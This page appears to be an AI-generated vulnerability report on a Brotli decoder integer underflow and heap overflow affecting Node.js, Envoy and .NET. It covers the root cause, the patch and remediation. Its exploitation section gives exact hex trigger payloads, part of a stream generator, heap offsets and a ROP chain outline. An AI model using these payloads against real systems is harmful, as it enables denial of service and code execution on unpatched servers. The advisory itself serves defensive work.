CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-111497

CVE-2026-111497: Out-of-Bounds Heap Write and Remote Code Execution in Google Brotli Decoder (Node2Shell)

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 29, 2026·12 min read·3 visits

Executive Summary (TL;DR)

An unchecked return value in Google Brotli's DecodeBlockTypeAndLength() function leads to an integer underflow of block_length to 0xFFFFFFFF during fast-path decompression, enabling unauthenticated remote code execution via out-of-bounds heap writes or an infinite CPU loop during streaming decompression.

CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.

Vulnerability Overview

CVE-2026-111497 is a critical memory corruption and denial-of-service vulnerability in Google's C reference implementation of the Brotli compression algorithm (google/brotli), specifically located within the decompression state machine in c/dec/decode.c. Brotli (standardized in RFC 7932) is a lossless data compression format used across HTTP servers, reverse proxies, API gateways, and application runtimes to compress web traffic via the Content-Encoding: br and Accept-Encoding: br headers.

The vulnerability is classified under three chained weakness categories: Unchecked Return Value (CWE-252), Integer Overflow or Wraparound (CWE-190), and Out-of-bounds Write (CWE-787). When decompressing a Brotli metablock, the decoder maintains separate block types and remaining block lengths for three distinct symbol categories: literals (tree_type = 0), insert-and-copy command lengths (tree_type = 1), and distance codes (tree_type = 2). When the remaining block length for any category reaches zero, the decoder executes a block switch to parse the next block type and length from the bit stream.

Due to a defect in how DecodeBlockTypeAndLength() reports format errors and how caller wrappers propagate those return values, a crafted Brotli stream with max_block_type <= 1 forces an invalid block switch that goes unhandled. Depending on whether the decoder executes in batch/fast mode or streaming/safe mode, this unhandled error either underflows the unsigned 32-bit block_length counter to 0xFFFFFFFF—leading to out-of-bounds heap writes and remote code execution—or locks the decompression loop into a permanent BROTLI_DECODER_NEEDS_MORE_INPUT state that consumes 100% CPU.

Because the C reference library is statically linked or bundled directly into major language runtimes and service proxies, the downstream impact extends far beyond standalone compression utilities. Affected software includes Node.js (zlib module and downstream frameworks such as Express body-parser, Koa, NestJS, Next.js, and undici), Microsoft .NET, Envoy Proxy, Istio, Bun, Python (brotli and brotlicffi), Apache Arrow, ClickHouse, and DuckDB. The vulnerability is actively exploited in the wild and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Root Cause Analysis

In c/dec/decode.c, the function DecodeBlockTypeAndLength(int safe, BrotliDecoderState* s, int tree_type) is responsible for reading the next block type and updating s->block_length[tree_type] when the current block is exhausted (s->block_length[tree_type] == 0). At the start of this function, the decoder checks s->num_block_types[tree_type] (stored in max_block_type). If a metablock header declares only a single block type for that tree (max_block_type <= 1), a block switch is illegal under RFC 7932, and the function returns BROTLI_FALSE (0) without updating s->block_length[tree_type].

The root cause lies in the dual-mode execution architecture of the Brotli decoder, which splits execution between a fast path (safe = 0, used when the bit reader is guaranteed to hold sufficient buffered input) and a safe path (safe = 1, used for chunked streaming when the bit reader may run out of bits mid-operation). In pre-patch versions (1.0.3 through 1.2.0), DecodeBlockTypeAndLength() returned a boolean (BROTLI_BOOL), using BROTLI_FALSE (0) to signal two completely distinct conditions: bit-reader exhaustion on the safe path, and a fatal stream format violation (max_block_type <= 1) on both paths.

On the fast path (safe == 0), the non-inlined wrapper functions DecodeLiteralBlockSwitch(), DecodeCommandBlockSwitch(), and DecodeDistanceBlockSwitch() were declared with a void return type and invoked through the BROTLI_SAFE(METHOD) macro. In fast mode, BROTLI_SAFE simply executed METHOD and discarded the return value of Decode*BlockSwitchInternal(0, s). Consequently, when max_block_type <= 1 triggered an early BROTLI_FALSE return:

  1. The error was silently dropped, and s->block_length[tree_type] remained 0.
  2. Execution proceeded directly into command and symbol decoding within ProcessCommandsInternal(), which immediately decremented s->block_length[tree_type].
  3. Decrementing 0 on the unsigned 32-bit integer s->block_length[tree_type] caused an integer underflow to UINT32_MAX (0xFFFFFFFF / 4,294,967,295).
  4. Subsequent iterations read uninitialized or out-of-bounds Huffman trees (s->htree_command) and distance context slices (s->dist_context_map_slice), corrupting distance calculations and causing memmove16(copy_dst, copy_src) to write beyond the allocated s->ringbuffer heap region.

On the safe streaming path (safe == 1), BROTLI_SAFE(METHOD) evaluated if (!Safe##METHOD) and, upon receiving BROTLI_FALSE (0), unconditionally set result = BROTLI_DECODER_NEEDS_MORE_INPUT and jumped to saveStateAndReturn. Because the return value resulted from a permanent header format condition (max_block_type <= 1) rather than a temporary shortage of input bits, supplying additional bytes to the stream never resolved the condition. The state machine remained permanently locked at BROTLI_STATE_COMMAND_BEGIN (state = 7) or BROTLI_STATE_HUFFMAN_CODE_2 (state = 20), creating an unrecoverable infinite loop.

> [!NOTE] > Following initial disclosure, researcher Qi Deng (ikow/brotli2crash) noted that in RFC 7932 compliant single-block-type streams (NBLTYPES = 1), the maximum metablock length MLEN ($2^{24} = 16,777,216$) equals BROTLI_BLOCK_SIZE_CAP ($1 \ll 24$), meaning block_length should not reach 0 before the metablock terminates. Subsequent research (dimasma0305, ELLIO, syrex1013) proved that non-compliant bitstreams, custom command prefixes, and chunked stream boundaries force s->block_length[1] = 0 while max_block_type <= 1 remains active, making both the fast-path underflow and safe-path hang fully reachable.

Code Analysis

Upstream commit 0ed4268a4401abcb4472096340477cf4af7d1a2b in google/brotli resolves the vulnerability by decoupling stream format errors from bit-reader exhaustion states and enforcing status checks across both fast and safe decoding paths. First, in c/include/brotli/decode.h, the previously reserved error code -17 is assigned to BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH:

  BROTLI_ERROR_CODE(_ERROR_FORMAT_, DISTANCE, -16) SEPARATOR               \
  BROTLI_ERROR_CODE(_ERROR_FORMAT_, BLOCK_SWITCH, -17) SEPARATOR           \
  BROTLI_ERROR_CODE(_ERROR_, COMPOUND_DICTIONARY, -18) SEPARATOR           \

Second, DecodeBlockTypeAndLength() in c/dec/decode.c is refactored from returning BROTLI_BOOL to returning BrotliDecoderErrorCode. Instead of returning BROTLI_FALSE for both max_block_type <= 1 and SafeReadSymbol/SafeReadBlockLength failures, it explicitly distinguishes between BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH, BROTLI_DECODER_NEEDS_MORE_INPUT, and BROTLI_DECODER_SUCCESS:

static BROTLI_INLINE BrotliDecoderErrorCode DecodeBlockTypeAndLength(
    int safe, BrotliDecoderState* s, int tree_type) {
  brotli_reg_t max_block_type = s->num_block_types[tree_type];
  const HuffmanCode* type_tree = &s->block_type_trees[
      tree_type * BROTLI_HUFFMAN_MAX_TABLE_SIZE];
  const HuffmanCode* len_tree = &s->block_len_trees[
      tree_type * BROTLI_HUFFMAN_MAX_TABLE_SIZE];
  BrotliBitReader* br = &s->br;
  brotli_reg_t* ringbuffer = &s->block_type_rb[tree_type * 2];
  brotli_reg_t block_type;
  if (max_block_type <= 1) {
    // FIX: Return a distinct fatal format error instead of BROTLI_FALSE
    return BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
  }
 
  /* Read 0..15 + 3..39 bits. */
  if (!safe) {
    block_type = ReadSymbol(type_tree, br);
    s->block_length[tree_type] = ReadBlockLength(len_tree, br);
  } else {
    BrotliBitReaderState memento;
    BrotliBitReaderSaveState(br, &memento);
    if (!SafeReadSymbol(type_tree, br, &block_type)) {
      // FIX: Explicitly report incomplete input in safe mode
      return BROTLI_DECODER_NEEDS_MORE_INPUT;
    }
    if (!SafeReadBlockLength(s, &s->block_length[tree_type], len_tree, br)) {
      s->substate_read_block_length = BROTLI_STATE_READ_BLOCK_LENGTH_NONE;
      BrotliBitReaderRestoreState(br, &memento);
      return BROTLI_DECODER_NEEDS_MORE_INPUT;
    }
  }
  ...
  return BROTLI_DECODER_SUCCESS;
}

Third, all six block-switch functions (DecodeLiteralBlockSwitchInternal, DecodeLiteralBlockSwitch, SafeDecodeLiteralBlockSwitch, and their Command and Distance counterparts) are changed from returning void or BROTLI_BOOL to propagating BrotliDecoderErrorCode. A new macro, BROTLI_SAFE_WITH_STATUS(METHOD), replaces BROTLI_SAFE(METHOD) at all three block-switch call sites inside ProcessCommandsInternal():

/* NB: METHOD should return BROTLI_DECODER_SUCCESS, BROTLI_DECODER_ERROR_*, or
   BROTLI_DECODER_NEEDS_MORE_INPUT; the later two break the processing. */
#define BROTLI_SAFE_WITH_STATUS(METHOD)         \
  {                                             \
    BrotliDecoderErrorCode status;              \
    if (safe) {                                 \
      status = Safe##METHOD;                    \
    } else {                                    \
      status = METHOD;                          \
    }                                           \
    if (status != BROTLI_DECODER_SUCCESS) {     \
      result = status;                          \
      goto saveStateAndReturn;                  \
    }                                           \
  }

In ProcessCommandsInternal(), when s->block_length[1] == 0, s->block_length[2] == 0, or NextLiteralBlock is reached, BROTLI_SAFE_WITH_STATUS captures the returned status regardless of whether safe is 0 or 1. If status is BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH, the decoder immediately aborts command processing and transitions to an error state, preventing both the fast-path integer underflow and the safe-path infinite loop. The fix also adds a debug assertion BROTLI_DCHECK(s->meta_block_remaining_len <= (int)BROTLI_BLOCK_SIZE_CAP) in BrotliDecoderDecompressStream(). The patch completely eliminates the state desynchronization across all three block-switch trees.

Exploitation

Exploitation of CVE-2026-111497 requires no authentication and can be delivered over the network to any HTTP server, reverse proxy, or client runtime that decompresses Brotli streams (Content-Encoding: br). Two primary trigger primitives have been documented in public proof-of-concept research:

  1. 8-Byte Streaming DoS Payload (42 00 80 08 01 00 20 82): Configures NBLTYPESD = 2 with a crafted distance block-length Huffman tree, locking the decoder into state = 20 (BROTLI_STATE_HUFFMAN_CODE_2) where it infinitely returns BROTLI_DECODER_NEEDS_MORE_INPUT.
  2. 13-Byte Underflow Trigger (90 00 40 04 01 00 40 04 05 01 01 40 00): Forces s->block_length[1] = 0 at state = 7 (BROTLI_STATE_COMMAND_BEGIN), invokes DecodeCommandBlockSwitch on the fast path, and underflows s->block_length[1] to 0xFFFFFFFF.

To achieve remote code execution on Linux x86-64 targets (such as Node.js running Express 5.3.0 with body-parser 2.4.0), an attacker constructs a bitstream that triggers the fast-path underflow and then leverages the corrupted distance state during ProcessCommandsInternal() to overwrite adjacent fields within the BrotliDecoderState structure on the heap. Key offsets within BrotliDecoderState on 64-bit Linux include:

  • Offset 64: buffer.u8[0]
  • Offset 72: buffer_length (targeted for out-of-bounds offset manipulation)
  • Offset 124: meta_block_remaining_len
  • Offset 128: ringbuffer base pointer
  • Offset 288: block_length[1]
  • Offset 720: metadata_start_func function pointer
  • Offset 728: metadata_chunk_func function pointer
  • Offset 736: metadata_callback_opaque

In the proof-of-concept published by dimasma0305, a least-significant-bit-first bitstream generator constructs a metablock with 0xFFFFFF ($16,777,215$) length, single-symbol Huffman trees for literals, commands, and distances, and $2^{24}$ repeated 11-bit distance extra values:

def generate_stream() -> bytes:
    bits = Bits()
    bits.put(1, 1)
    bits.put(0, 3)
    bits.put(2, 3)
    bits.put(0, 1)
    bits.put(2, 2)
    bits.put(0xFFFFFF, 24)
    bits.put(0, 1)
 
    varlen_u8(bits, 0)
    varlen_u8(bits, 1)
    one_symbol_tree(bits, 4, 0)
    one_symbol_tree(bits, 26, 25)
    bits.put(0xFFFFFF, 24)
    varlen_u8(bits, 0)
    bits.put(3, 6)
    bits.put(0, 2)
    varlen_u8(bits, 0)
    varlen_u8(bits, 0)
 
    one_symbol_tree(bits, 256, 0)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 704, 130)
    one_symbol_tree(bits, 400, 184)
 
    distance_extra = 4
    command_count = 1 << 24
    completed = 0
    while bits.used and completed < command_count:
        bits.put(distance_extra, 11)
        completed += 1
    ...

When memmove16(copy_dst, copy_src) executes with attacker-controlled out-of-bounds offsets, it overwrites control pointers and return addresses. In documented laboratory exploits against pinned Linux x86-64 Node.js binaries, the overwrite redirects execution into a Return-Oriented Programming (ROP) chain: pivoting the stack (pivot_rsp_rax_30_ret) to the controlled heap buffer, loading the active HTTP socket descriptor (pop_rdi_ret with fd = 19) and stdout (pop_rsi_ret with 1), calling dup2_plt to bind the socket to standard output, and invoking execvp to execute /usr/bin/id over the HTTP connection.

Impact Assessment

CVE-2026-111497 carries an NVD CVSS v3.1 base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and a CVSS v4.0 score of 9.2 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). Successful exploitation on the fast path grants an unauthenticated remote attacker arbitrary code execution within the privileges of the target process (such as the node, envoy, or dotnet worker process), full read access to process memory (including environment variables, TLS keys, and session tokens), or immediate process termination via segmentation fault.

Even in environments where ASLR, heap layout variations, or streaming API chunk sizes prevent reliable ROP chain execution, the vulnerability provides a deterministic, single-request denial-of-service primitive. An 8-byte payload (42 00 80 08 01 00 20 82) sent to a streaming Brotli endpoint permanently pegs the worker thread or event loop at 100% CPU utilization, exhausting worker pools across Node.js event loops, Envoy worker threads, and .NET request handlers.

The vulnerability affects both server-side and client-side decompression vectors:

  • Server-Side Request Decompression: Web frameworks and proxies that automatically decompress incoming Content-Encoding: br POST/PUT payloads (including Express body-parser, Koa koa-bodyparser, NestJS, Envoy HTTP decompression filters, and Istio service mesh proxies).
  • Client-Side & SSR Response Decompression: HTTP clients and server-side rendering frameworks (undici, axios, node-fetch, got, superagent, Next.js server fetch) that send Accept-Encoding: br and automatically decompress responses from untrusted upstream servers or webhooks.
  • TLS Certificate Compression & Data Formats: Implementations supporting RFC 8879 TLS certificate compression with Brotli, as well as columnar data stores and analytics engines (Apache Arrow, ClickHouse, DuckDB) that ingest Brotli-compressed blocks.

Threat intelligence from ELLIO Threat Research Lab and Assetnote confirms widespread internet scanning and active exploitation in the wild. The vulnerability holds an EPSS score of 0.87988 (87.99% probability of exploitation within 30 days, placing it in the 99.76th percentile of all CVEs) and was added to the CISA KEV catalog on October 27, 2026.

Remediation & Mitigation

Organizations must prioritize upgrading both standalone libbrotli system packages and all runtimes or applications that statically link or bundle the Google Brotli C source code. Specifically, upgrade to the following patched releases:

  • Google Brotli: Update to 1.2.1, 1.1.1, or 1.0.10.
  • Node.js: Update to 26.12.1 (26.x), 24.22.1 (24.x), or 22.23.4 (22.x). Node.js 20.x is End-of-Life and remains vulnerable.
  • Microsoft .NET: Update to 10.0.14, 9.0.22, or 8.0.33.
  • Envoy Proxy / Istio: Update Envoy to 1.39.3+, 1.38.6+, or 1.37.8+; update Istio to 1.31.2+, 1.30.6+, or 1.29.9+.
  • Other Runtimes & Libraries: Update Bun to 1.4.4+, Next.js to 16.4.3+, Python brotli / brotlicffi to 1.2.1.0+, and Go andybalholm/brotli to 1.2.7+.

Security teams can verify whether local Node.js binaries contain the upstream patch by checking for the presence of the newly introduced BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH (-17) constant in the built-in zlib module:

# Returns -17 on patched builds, or VULNERABLE on unpatched builds
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH || 'VULNERABLE'"

To audit all node binaries across a host's PATH and verify dynamically linked libbrotli1 packages on Debian/Ubuntu systems:

dpkg -l libbrotli1 | grep -E '^ii'
 
for n in $(which -a node); do
  ver=$($n -v 2>/dev/null)
  patched=$($n -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH||'NO'" 2>/dev/null)
  echo "$n: $ver (patched: $([[ $patched == '-17' ]] && echo 'YES' || echo 'NO'))"
done

If immediate runtime patching is not feasible, apply network-layer mitigations at the reverse proxy, ingress controller, or Web Application Firewall (WAF). Configure edge proxies to reject incoming HTTP requests containing the Content-Encoding: br header unless client-to-server Brotli request compression is strictly required. For applications that make outbound HTTP requests to untrusted endpoints, explicitly override the Accept-Encoding header to gzip, deflate to prevent client libraries (undici, axios, fetch) from negotiating Brotli responses.

Official Patches

Google BrotliUpstream Google Brotli commit fixing DecodeBlockTypeAndLength error handling.
Google BrotliGoogle Brotli v1.2.1 release.
Google BrotliGoogle Brotli v1.1.1 release.
Google BrotliGoogle Brotli v1.0.10 release.
Node.jsNode.js October 2026 Security Releases Advisory.
Envoy ProxyEnvoy Proxy Security Advisory GHSA-3wvj-j6qm-62mr.
Microsoft .NETMicrosoft .NET Security Announcement Issue #494.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
87.99%
Top 0% most exploited

Affected Systems

Google Brotli (libbrotli)Node.js Runtime (Express, Koa, NestJS, Next.js, undici, axios, node-fetch, got, superagent)Microsoft .NET Runtime & SDKEnvoy ProxyIstio Service MeshBun RuntimePython brotli / brotlicffiGo andybalholm/brotliApache Arrow, ClickHouse, DuckDBTianocore EDK2, p7zip / 7-zip-zstdDebian 12, Ubuntu, Alpine Linux

Affected Versions Detail

Product
Affected Versions
Fixed Version
Brotli
Google
>= 1.0.3, < 1.0.101.0.10
Brotli
Google
>= 1.1.0, < 1.1.11.1.1
Brotli
Google
>= 1.2.0, < 1.2.11.2.1
Node.js 22.x
Node.js
< 22.23.422.23.4
Node.js 24.x
Node.js
>= 23.0.0, < 24.22.124.22.1
Node.js 26.x
Node.js
>= 25.0.0, < 26.12.126.12.1
.NET
Microsoft
< 8.0.33, < 9.0.22, < 10.0.148.0.33 / 9.0.22 / 10.0.14
Envoy Proxy
Envoy
< 1.37.8, 1.38.0 - 1.38.5, 1.39.0 - 1.39.21.37.8 / 1.38.6 / 1.39.3
Istio
Istio
< 1.29.9, 1.30.0 - 1.30.5, 1.31.0 - 1.31.11.29.9 / 1.30.6 / 1.31.2
Bun
Oven
< 1.4.41.4.4
Next.js
Vercel
< 16.4.316.4.3
AttributeDetail
Vulnerability ClassCWE-252 (Unchecked Return Value) -> CWE-190 (Integer Underflow) -> CWE-787 (Out-of-Bounds Heap Write)
Affected ComponentGoogle Brotli Decoder (c/dec/decode.c: DecodeBlockTypeAndLength & ProcessCommandsInternal)
Attack VectorNetwork (Unauthenticated HTTP requests or responses with 'Content-Encoding: br')
CVSS v3.1 / v4.09.8 CRITICAL (v3.1) / 9.2 CRITICAL (v4.0)
EPSS Score87.99% (99.76th Percentile)
Security ImpactRemote Code Execution (fast path OOB heap write) or 100% CPU Infinite Loop DoS (safe streaming path)
Exploit & KEV StatusActively Exploited in the Wild; Listed in CISA KEV (Added 2026-10-27)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1203Exploitation for Client Execution
Execution
T1068Exploitation for Privilege Escalation
Privilege Escalation
CWE-787
Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. In CVE-2026-111497, an unchecked return value (CWE-252) triggers an unsigned integer underflow (CWE-190) of the block length counter, causing subsequent command processing to copy memory out-of-bounds outside the decoder ringbuffer.

Known Exploits & Detection

GitHubProof-of-concept bitstream generator and RCE exploit harness for CVE-2026-111497 by Dimas Maulana.
GitHubNode2Shell proof-of-concept repository demonstrating CVE-2026-111497 exploitation against Node.js.
GitHubTechnical analysis and crash reproduction repository by Qi Deng.
GitHubAssetnote vulnerability scanner for identifying endpoints vulnerable to Node2Shell (CVE-2026-111497).
NucleiDetection Template Available

Vulnerability Timeline

Upstream fix committed to google/brotli (0ed4268a4401abcb4472096340477cf4af7d1a2b: 'Detect and report invalid stream earlier.').
2026-02-27
Node.js Security Team publishes pre-release announcement for October 2026 security updates.
2026-10-14
Patched versions released for Google Brotli (1.0.10, 1.1.1, 1.2.1) and Node.js (22.23.4, 24.22.1, 26.12.1).
2026-10-21
CVE-2026-111497 published on NVD and CVE.org; Vercel deploys edge WAF mitigations; Qi Deng publishes brotli2crash analysis.
2026-10-22
Openwall oss-security disclosure details downstream impact across Envoy, Istio, .NET, and TLS certificate compression.
2026-10-23
ELLIO Threat Research Lab confirms active in-the-wild exploitation, mass scanning, and stock Linux x86-64 Node.js RCE.
2026-10-25
CISA adds CVE-2026-111497 to the Known Exploited Vulnerabilities (KEV) catalog with a remediation due date of November 10, 2026.
2026-10-27
EPSS score reaches 0.87988 (99.76th percentile) amidst public release of multiple PoC and scanning repositories.
2026-10-29

References & Sources

  • [1]National Vulnerability Database (NVD) Record: CVE-2026-111497
  • [2]CVE.org Authoritative Record: CVE-2026-111497
  • [3]CISA Known Exploited Vulnerabilities (KEV) Catalog
  • [4]Google Brotli Upstream Fix Commit (0ed4268a4401abcb4472096340477cf4af7d1a2b)
  • [5]Node.js Security Advisory (October 2026)
  • [6]GitHub Advisory Database (GHSA-9v8h-qqgm-4m35)
  • [7]Envoy Proxy Security Advisory (GHSA-3wvj-j6qm-62mr)
  • [8]Microsoft .NET Announcement Issue #494
  • [9]ELLIO Threat Research Analysis: Node2Shell RCE on Stock Node.js Builds
  • [10]Aikido Security Analysis: Node2Shell Node.js Brotli RCE
  • [11]Dimas Maulana (dimasma0305) CVE-2026-111497 PoC Repository
  • [12]Qi Deng (ikow) brotli2crash Analysis Repository
  • [13]Openwall oss-security Mailing List Disclosure
  • [14]RFC 7932: Brotli Compressed Data Format Specification

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•CVE-2026-115910
6.8

CVE-2026-115910: OpenID Connect Session-Binding Bypass and Account Takeover in Python Social Auth

A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.

Amit Schendel
Amit Schendel
2 views•13 min read
•about 2 hours ago•CVE-2026-116575
6.3

CVE-2026-116575: Cross-Tenant Conversation Disclosure via Delimiter Injection in Mem0

CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.

Alon Barad
Alon Barad
3 views•9 min read
•about 3 hours ago•CVE-2026-116580
7.3

CVE-2026-116580: Unvalidated Method Invocation via Identifier Reuse in Seroval Deserializer

Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.

Amit Schendel
Amit Schendel
2 views•12 min read
•about 4 hours ago•CVE-2026-116584
7.5

CVE-2026-116584: Denial of Service via Unvalidated Node Element Lists in Seroval

A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 4 hours ago•CVE-2026-116581
7.5

CVE-2026-116581: Unauthenticated Event-Loop Denial of Service via Unvalidated Sequence Indices in Seroval

Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.

Amit Schendel
Amit Schendel
7 views•10 min read
•about 6 hours ago•CVE-2026-116582
4.7

CVE-2026-116582: Cross-Site Scripting via Unescaped RegExp Serialization in Seroval

CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.

Amit Schendel
Amit Schendel
4 views•11 min read